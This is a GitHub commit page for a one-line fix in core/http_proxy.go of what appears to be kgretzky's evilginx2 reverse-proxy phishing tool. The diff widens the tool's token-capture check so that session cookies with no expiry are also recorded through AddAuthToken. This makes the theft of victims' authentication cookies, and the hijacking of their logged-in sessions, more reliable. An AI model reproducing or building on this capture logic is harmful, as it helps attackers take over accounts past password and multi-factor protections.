Skip to content

Commit

Permalink
Merge pull request kgretzky#571 from michaelmagyar/token-capture-fix
Browse files Browse the repository at this point in the history
fixed token capture logic for tokens with expiry set to 0
  • Loading branch information
kgretzky authored Feb 8, 2021
2 parents 63eddbb + b6db209 commit 511860c
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion core/http_proxy.go
Original file line number Diff line number Diff line change
Expand Up @@ -683,7 +683,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
if pl.isAuthToken(c_domain, ck.Name) {
s, ok := p.sessions[ps.SessionId]
if ok && (s.IsAuthUrl || !s.IsDone) {
if ck.Value != "" && (!ck.Expires.IsZero() && time.Now().Before(ck.Expires)) { // cookies with empty values or expired cookies are of no interest to us
if ck.Value != "" && (ck.Expires.IsZero() || (!ck.Expires.IsZero() && time.Now().Before(ck.Expires))) { // cookies with empty values or expired cookies are of no interest to us
is_auth = s.AddAuthToken(c_domain, ck.Name, ck.Value, ck.Path, ck.HttpOnly, auth_tokens)
if len(pl.authUrls) > 0 {
is_auth = false
Expand Down

0 comments on commit 511860c

Please sign in to comment.